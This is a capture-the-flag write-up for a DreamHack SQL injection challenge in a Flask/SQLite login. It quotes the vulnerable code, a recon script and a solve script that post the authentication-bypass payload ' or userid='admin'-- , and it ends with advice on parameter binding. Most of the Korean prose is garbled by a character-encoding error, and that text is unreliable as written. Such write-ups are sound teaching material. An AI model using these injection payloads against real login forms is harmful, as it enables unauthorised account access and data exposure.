๋ฌธ์ : DreamHack โ simple_sqli_chatgpt ๋ถ๋ฅ: Web ๋์ด๋: ๐ฅ Bronze 2 FLAG:
DH{chatGPT_told_me_a_lullaby}
๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | simple_sqli_chatgpt |
| ๋์ด๋ | ๐ฅ Bronze 2 |
| ๋ถ๋ฅ | Web (Flask + SQLite) |
| ์ ๊ณต ํ์ผ / ์๋ฒ | app.py / http://host3.dreamhack.games:<port>/ (์ธ์คํด์ค๋ง๋ค ๋ณ๊ฒฝ) |
| ํต์ฌ ์ทจ์ฝ์ / ๊ธฐ๋ฒ | userlevel ๋ฌธ์์ด ์ฃผ์ โ admin ํ๋ง ๋ฐํ์์ผ ์ธ์ฆ ์ฐํ |
์ด๋ฆ ๊ทธ๋๋ก simple_sqli์ ๋ณ์ข
์ด๋ค. ์๋ณธ์ userid/userpassword ๋ ์นธ์ ์ฃผ์
์ ์ผ๋ก ์ฐ๋๋ฐ, ์ด ๋ฌธ์ ๋ ๋ก๊ทธ์ธ ํผ์ ์
๋ ฅ์นธ์ด userlevel ๋ฑ ํ๋๋ค. ๋ฌธ์ ์ด๋ฆ์ chatgpt๋ "AIํํ
์์ผ ์ง ๋ก๊ทธ์ธ ์ฝ๋"๋ผ๋ ๋๋ด ๊ฐ์๋ฐ, ๊ฒฐ๊ตญ ์
๋ ฅ์ ์ฟผ๋ฆฌ์ ๊ทธ๋๋ก ์ด์ด ๋ถ์ด๋ ๊ณ ์ ์ ์ธ ์ค์๊ฐ ๊ทธ๋๋ก ๋จ์ ์๋ค.
ํ๋ฉด์ ์๋ณธ simple_sqli์ ๋๊ฐ์ด ๋จ์ถํ๋ค. ๋ก๊ทธ์ธ ๋งํฌ ํ๋๋ฟ.

๐งฉ ๋ฐฐ๊ฒฝ โ ์ ๋ ฅ์นธ ํ๋๊ฐ ์ฟผ๋ฆฌ๋ฅผ ๋ง๋๋ ๋ฐฉ์
์๋ฒ๋ Flask + ํ์ค ๋ผ์ด๋ธ๋ฌ๋ฆฌ sqlite3๋ค. ์ฒซ ์คํ ๋ users ํ
์ด๋ธ์ ๋ง๋ค๊ณ ๊ณ์ ๋์ ๋ฃ๋๋ค. ์๋ณธ๊ณผ ๋ฌ๋ฆฌ ์ปฌ๋ผ์ด ์
์ด๋ค โ userid, userpassword, ๊ทธ๋ฆฌ๊ณ userlevel.
db.execute('create table users(userid char(100), userpassword char(100), userlevel integer);')
db.execute(f'insert into users(userid, userpassword, userlevel) values '
f'("guest", "guest", 0), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}", 0);')์ฌ๊ธฐ์ ๋์ฌ๊ฒจ๋ณผ ๊ฑด ๋ ๊ณ์ ์ userlevel์ด ๋ชจ๋ 0์ด๋ผ๋ ์ ์ด๋ค. admin์ ๋น๋ฐ๋ฒํธ๋ os.urandom(16)์ hex๋ก ์ฐ์ 32์๋ผ ๋งค ์ธ์คํด์ค๋ง๋ค ์๋ก ๋ฝํ๊ณ ์ด๋์๋ ๋
ธ์ถ๋์ง ์๋๋ค. ๊ทธ๋ฌ๋ ๋น๋ฐ๋ฒํธ๋ก ๋ค์ด๊ฐ๋ ๊ธธ์ ์ฒ์๋ถํฐ ๋ซํ ์๋ค.
๋ก๊ทธ์ธ ๋ผ์ฐํธ๋ ํผ์์ ๋ฐ์ userlevel์ ๊ฒ์ฆ ์์ด ์ฟผ๋ฆฌ์ ๋ผ์ ๋ฃ๋๋ค.
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
else:
userlevel = request.form.get('userlevel')
res = query_db(f"select * from users where userlevel='{userlevel}'")
if res:
userid = res[0]
userlevel = res[2]
if userid == 'admin' and userlevel == 0:
return f'hello {userid} flag is {FLAG}'
return f'<script>alert("hello {userid}");history.go(-1);</script>'
return '<script>alert("wrong");history.go(-1);</script>'f"...userlevel='{userlevel}'" โ ์์๋ฐ์ดํ ์ฌ์ด์ ์
๋ ฅ์ด ๊ทธ๋๋ก ๋ค์ด๊ฐ๋ค. ์ด์ค์ผ์ดํ๊ฐ ์์ผ๋ ' ํ ๊ธ์๋ก ๋ฌธ์์ด์ ๋ซ๊ณ SQL์ ์ด์ด ์ธ ์ ์๋ค.
ํ๋๊ทธ ์กฐ๊ฑด์ ๋ ๊ฐ๊ฐ ๋์์ ์ฐธ์ด์ด์ผ ํ๋ค.
res[0] == 'admin'โ ๋ฐํ๋ ํ์ ์ฒซ ์ปฌ๋ผ(userid)์ด adminres[2] == 0โ ์ ์งธ ์ปฌ๋ผ(userlevel)์ด 0
admin์ userlevel์ด ์ด์ฐจํผ 0์ด๋, admin ํ๋ง ๋ฐํ์ํค๋ฉด ๋ ์กฐ๊ฑด์ด ํ ๋ฒ์ ์ถฉ์กฑ๋๋ค. ๊ฒฐ๊ตญ ์ด ๋ฌธ์ ๋ "admin ํ์ ์ ํํ ๊ณจ๋ผ๋ด๋ ๊ฒ"์ผ๋ก ์์ถ๋๋ค.
์ฌ๊ธฐ์ query_db์ ๋์์ด ์ค์ํ๋ค.
def query_db(query, one=True):
cur = get_db().execute(query)
rv = cur.fetchall()
cur.close()
return (rv[0] if rv else None) if one else rvone=True๊ฐ ๊ธฐ๋ณธ์ด๋ผ fetchall() ๊ฒฐ๊ณผ ์ค ์ฒซ ํ(rv[0])๋ง ๋๋ ค์ค๋ค. ์ฌ๋ฌ ํ์ด ๋งค์น๋ผ๋ ์ฒซ ํ ํ๋๋ก ์๋ฆฐ๋ค โ ์ด๊ฒ ํจ์ ์ ์จ์์ด๋ค.
๐ฌ ์ฝ๋ ์ ์ฐฐ โ ์ง์ ์ฐ๋ฌ๋ณด๊ธฐ
๋ก๊ทธ์ธ ํผ๋ถํฐ ๋ดค๋ค. userlevel ํ ์นธ์ด ์ ๋ถ๋ค. placeholder๊น์ง userlevel์ด๋ผ ์ ํ ์๋ค.

ํผ๋ง ๋ณด๋ฉด ๊ถํ ๋ฑ๊ธ ๊ฐ์ ์ซ์๋ฅผ ๊ธฐ๋ํ๋ ๊ฒ์ฒ๋ผ ์๊ฒผ๋ค. ๊ทธ๋์ ํ๋ฒํ๊ฒ 0์ ๋ฃ์ด๋ดค๋ค.

์๋ต์ด ์ ๋ ฅ์ ๋ฐ๋ผ ์ด๋ป๊ฒ ๊ฐ๋ฆฌ๋์ง, ์ ์๊ฐยท์กด์ฌํ์ง ์๋ ๊ฐยท๋ฐ์ดํยท์ฃผ์ ์ ํ ๋ฒ์ ์ฐ๋ฌ๋ดค๋ค.
# recon.py โ /login ์ด userlevel ์
๋ ฅ์ ์ด๋ป๊ฒ ์ฒ๋ฆฌํ๋์ง ์ง์ ์ฐ๋ฌ๋ณธ๋ค.
import requests
URL = "http://host3.dreamhack.games:12970/login"
def post(userlevel):
r = requests.post(URL, data={"userlevel": userlevel}, timeout=10)
return r.status_code, r.text.strip()
def label(code, body):
if "flag is" in body:
return "admin โ FLAG"
if 'hello guest' in body:
return "guest (์ฒซ ํ)"
if "wrong" in body:
return "wrong (ํ ์์)"
return f"HTTP {code} / {body[:40]!r}"
for ul in ["0", "1", "'", "' or 1=1-- ", "' or userid='admin'-- "]:
code, body = post(ul)
print(f"userlevel={ul!r:26} -> {label(code, body)}")
๋ค์ฏ ์ค์ด ๋ค ๋ง์ด ๋๋ค.
-
0โ guest. ๋ ๋ค userlevel 0์ด๋ผ ๋งค์น๋๋๋ฐ, ์ฒซ ํ guest๊ฐ ์กํ๋ค. -
1โ wrong. userlevel 1์ธ ๊ณ์ ์ ์์ผ๋ ํ์ด ์๋ค. -
'โ HTTP 500. ๋ฐ์ดํ ํ๋๊ฐ ๋ฌธ์์ด์ ๋ซ์ SQL ๊ตฌ๋ฌธ์ด ๊นจ์ก๋ค. ์ ๋ ฅ์ด ์ฟผ๋ฆฌ์ ๋ ๊ฒ์ผ๋ก ๋ค์ด๊ฐ๋ค๋ ํ์คํ ์ ํธ๋ค. -
' or 1=1--โ ์ฌ๊ธฐ์ ๋ guest๊ฐ ๋์จ๋ค(์๋ ์ฝ์ง ์ฐธ๊ณ ). -
' or userid='admin'--โ ๋๋์ด admin โ FLAG.
500 ์๋ฌ๋ก ์ฃผ์ ๊ฐ๋ฅ์ฑ์ ํ์ธํ๊ณ , ๋ชฉํ๋ ๋ถ๋ช ํด์ก๋ค. admin ํ ํ๋๋ง ๋ฐํ์ํค๋ฉด ๋๋ค.
๐ ์ฝ์ง โ or 1=1์ ์ฌ์ ํ guest๋ฅผ ๋ฐ๋ ค์จ๋ค
SQLi ์ธ์ฆ ์ฐํ ํ๋ฉด ๋ฐ์ฌ์ ์ผ๋ก ' or 1=1 -- ๊ฐ ๋ ์ค๋ฅธ๋ค. ๊ทธ๋์ ๋จผ์ ๊ทธ๊ฑธ ๋ฃ์๋๋ฐ, ๋์์จ ๊ฑด admin์ด ์๋๋ผ guest์๋ค.
โถ๐ ์ฝ์ง โ ์ or 1=1 ๋ก๋ admin์ด ์ ์กํ๋
์กฐ๋ฆฝ๋๋ ์ฟผ๋ฆฌ๋ ์ด๋ ๋ค.
select * from users where userlevel='' or 1=1-- '1=1์ด ํญ์ ์ฐธ์ด๋ผ WHERE ์ ์ฒด๊ฐ ์ฐธ์ด ๋๊ณ , guest์ admin ๋ ํ์ด ๋ชจ๋ ๋งค์น๋๋ค. fetchall()์ ์
๋ ฅ ์์๋๋ก [guest, admin]์ ๋๋ ค์ฃผ๊ณ , query_db๋ one=True๋ผ rv[0], ์ฆ ๋จผ์ ๋ค์ด๊ฐ guest๋ฅผ ์ง๋๋ค.
recon ์ถ๋ ฅ์์๋ 0๊ณผ ' or 1=1-- ์ด ๋๊ฐ์ด guest (์ฒซ ํ)๋ก ์ฐํ ๊ฒ ์ด ๋๋ฌธ์ด๋ค.
userlevel='0' -> guest (์ฒซ ํ)
userlevel="' or 1=1-- " -> guest (์ฒซ ํ)๋น๋ฐ๋ฒํธ ๊ฒ์ฌ๋ ์ฐํํ์ง๋ง ์ ์ admin์ ๋ ๋ฒ์งธ ํ์ด๋ผ ์๋ ค๋๊ฐ ์ ์ด๋ค. ์ด ๋ฌธ์ ์ ํต์ฌ์ "๋ก๊ทธ์ธ์ ๋ซ๋๋ค"๊ฐ ์๋๋ผ "admin ํ์ ์ ํํ ๊ณ ๋ฅธ๋ค"์ ์๋ค.
๊ทธ๋ ๋ค๋ฉด admin์ ๋ช ์์ ์ผ๋ก ์ง์ ํ๊ณ ๋๋จธ์ง๋ฅผ ์ง์ฐ๋ ๊ฒ ์ ์ผ ๊น๋ํ๋ค.
๐ฃ ํต์ฌ โ admin ํ 'ํ๋๋ง' ๋จ๊ธฐ๊ธฐ
userlevel์ ' or userid='admin'-- ๋ฅผ ๋ฃ๋๋ค. ์์ '๋ก userlevel ๋ฌธ์์ด์ ๋ซ๊ณ , or userid='admin'์ผ๋ก ์กฐ๊ฑด์ admin์ ๋ชป ๋ฐ์ ๋ค, -- ๋ก ๋ค๋ฐ๋ผ์ค๋ ๋ฐ์ดํ๋ฅผ ์ฃผ์ ์ฒ๋ฆฌํ๋ค.
์กฐ๋ฆฝ๋ ์ค์ ์ฟผ๋ฆฌ๋ ์ด๋ ๊ฒ ๋๋ค.
select * from users where userlevel='' or userid='admin'-- 'userlevel=''๋ ์ด๋ ํ๋ ๋ง์กฑํ์ง ์์ผ๋(๋ ๋ค 0), ์ด์๋จ๋ ๊ฑด userid='admin' ํ๋๋ฟ์ด๋ค. admin ํ๋ง ๋ฐํ๋๊ณ res[0]์ admin, res[2]๋ 0 โ ๋ ์กฐ๊ฑด์ด ๋์์ ์ถฉ์กฑ๋๋ค.
๊ฐ์ ์ ๋ ฅ์ด๋ผ๋ ์ด๋๋ฅผ ๋งค์น์ํค๋๋์ ๋ฐ๋ผ ์ฒซ ํ์ด ๊ฐ๋ฆฐ๋ค. ๊ทธ๋ฆผ์ผ๋ก ์ ๋ฆฌํ๋ฉด ์ด๋ ๋ค.
![ํด๋ฆญํ์ฌ ํ๋ ์
๋ ฅ๋ณ ๋งค์น๋๋ ํ๊ณผ res[0]์ด ๋ฌด์์ด ๋๋์ง](/_next/image?url=%2Fimages%2Fblog%2Fdreamhack-simple-sqli-chatgpt-writeup%2F08_row_select.png&w=3840&q=75)
0๊ณผ or 1=1์ ๋ ํ์ ๋ค ๋์ด์ ์ฒซ ํ guest๋ฅผ ์ง๊ณ , or userid='admin'๋ง์ด admin ํ ํ๋๋ก ์ขํ res[0]์ admin์ผ๋ก ๋ง๋ ๋ค.
๐ฏ ์ต์คํ๋ก์ โ ํผ์ ๊ทธ๋๋ก ๋ฃ๊ธฐ
ํน๋ณํ ๋๊ตฌ ์์ด ๋ก๊ทธ์ธ ํผ์ ๋ฐ๋ก ๋ฃ์ด๋ ๋๋ค. userlevel ์นธ์ ' or userid='admin'-- ๋ฅผ ๊ทธ๋๋ก ์
๋ ฅํ๋ค.

Login์ ๋๋ฅด๋ฉด admin์ผ๋ก ์ธ์ฆ๋์ด, ์๋ต์ด alert ์คํฌ๋ฆฝํธ๊ฐ ์๋๋ผ ํ๋๊ทธ ํ๋ฌธ์ผ๋ก ๊ทธ๋๋ก ์ฐํ๋ค.

๐ Full Exploit
ํผ ์ ๋ ฅ๊ณผ ๋๊ฐ์ ์ผ์ ์คํฌ๋ฆฝํธ๋ก ์ฎ๊ธฐ๋ฉด ์ด๋ ๋ค. ์๋ต์์ ํ๋๊ทธ๋ง ๋ฝ์๋ธ๋ค.
# solve.py โ userlevel SQLi ๋ก admin ํ๋ง ๋ฐํ์์ผ FLAG ํ์
import re
import requests
URL = "http://host3.dreamhack.games:12970/login"
# userlevel ๋ฌธ์์ด์ ๋ซ๊ณ admin ํ์ OR ๋ก ๋์ด์จ ๋ค, ๋ค๋ฐ๋ฅด๋ ๋ฐ์ดํ๋ -- ๋ก ์ฃผ์ ์ฒ๋ฆฌ
payload = {"userlevel": "' or userid='admin'-- "}
r = requests.post(URL, data=payload, timeout=10)
print("[*] payload userlevel =", repr(payload["userlevel"]))
print("[*] response =", r.text.strip())
m = re.search(r"DH\{[^}]+\}", r.text)
print("[+] FLAG =", m.group(0) if m else "(not found)")
DH{chatGPT_told_me_a_lullaby}๐ ์ ๋ฆฌ
๋ฌธ์์ด๋ก ์ฟผ๋ฆฌ๋ฅผ ๋ง๋ค๋ฉด ์ ๋ ฅ์นธ์ด ํ๋์ฌ๋ ๊ทธ๊ฒ ํต์งธ๋ก ๊ตฌ๋ฉ์ด๋ค.
์ด ๋ฌธ์ ๋ ํผ์ userlevel ํ ์นธ๋ง ๋จ๊ฒจ ์ฃผ์
์ ์ ์ค์ธ ๊ฒ์ฒ๋ผ ๋ณด์ด์ง๋ง, ๊ทธ ํ ๊ฐ์ด userlevel='{userlevel}'๋ก ๋ฐ์ดํ์งธ ๋ฐํ๋ ํ ๊ฒฐ๊ณผ๋ ์๋ณธ simple_sqli์ ๋ค๋ฅด์ง ์๋ค. ๋ง๋ ๋ฐฉ๋ฒ๋ ๊ฐ๋ค โ Prepared Statement(ํ๋ผ๋ฏธํฐ ๋ฐ์ธ๋ฉ). execute("... where userlevel=?", (userlevel,))๋ก ๋๊ธฐ๋ฉด ์
๋ ฅ์ ํญ์ ๊ฐ์ผ๋ก๋ง ์ทจ๊ธ๋์ด ๋ฐ์ดํ๋ฅผ ์๋ฌด๋ฆฌ ๋ฃ์ด๋ ๊ตฌ๋ฌธ์ด ๋์ง ์๋๋ค.
์ฌ๋ฌ ํ์ด ๋งค์น๋ ๋ "์ฒซ ํ"์ ๊ถํ์ ๊ฑฐ๋ ๊ตฌ์กฐ๋ ์ํํ๋ค.
query_db(..., one=True)๊ฐ fetchall()[0]๋ง ๋๋ ค์ฃผ๋ ํ์, ์กฐ๊ฑด์ ๋์จํ๊ฒ ์ฃผ๋ฉด ์๋ฑํ๊ฒ ๋จผ์ ๋ค์ด๊ฐ guest๊ฐ ์กํ๋ค. ๊ณต๊ฒฉ์ ์
์ฅ์์ ์ด๊ฒ ์ฐํ๋ฅผ ํ ๋จ๊ณ ๋ ์๊ตฌํ๋ ์ฅ์ ๋ฌผ์ผ ๋ฟ์ด๊ณ , ๋ฐฉ์ด ์
์ฅ์์๋ "ํ์ด ํ๋๋ผ๋ ์์ผ๋ฉด ํต๊ณผ" ๊ฐ์ ํ์ ์ ์๋์น ์์ ํ์ ์ธ์ฆ์ผ๋ก ๋ฐ์๋ค์ผ ์ฌ์ง๋ฅผ ๋จ๊ธด๋ค.
๋น๋ฐ๋ฒํธ๋ฅผ ๋๋ค์ผ๋ก ์จ๊ฒจ๋ ๊ถํ ํ์ ์ด ์ฟผ๋ฆฌ ํ ๋ฐฉ์ ๋ฌถ์ฌ ์์ผ๋ฉด ์์ฉ์๋ค.
admin ๋น๋ฐ๋ฒํธ๋ฅผ os.urandom์ผ๋ก ๊ฐ๋ฆฐ ๊ฑด ์ข์ ๋ฐ์์ด์ง๋ง, ์ธ์ฆ๊ณผ ๊ถํ์ SELECT ํ ์ค๋ก ์ฒ๋ฆฌํ๋ ๊ตฌ์กฐ ์์ฒด๊ฐ ์ฝํ๋ค. ๋น๋ฐ๋ฒํธ๋ ํด์๋ก ๊ฒ์ฆํ๊ณ , ๊ถํ์ ์ธ์ฆ์ด ๋๋ ๋ค ์ธ์
์์ ๋ณ๋๋ก ๋ค๋ฃจ๋ ๊ฒ ๋ง๋ค. simple_sqli๊ฐ ๊ฐ๋ฆฌํค๋ ์ ๋ต์ ์
๋ ฅ ํํฐ๊ฐ ์๋๋ผ, ์
๋ ฅ์ ์ฟผ๋ฆฌ์ ๋ฌธ์์ด๋ก ์ด์ด ๋ถ์ด๋ ๊ทธ ํ ์ค์ ๋ฐ์ธ๋ฉ์ผ๋ก ๋ฐ๊พธ๋ ๊ฒ์ด๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ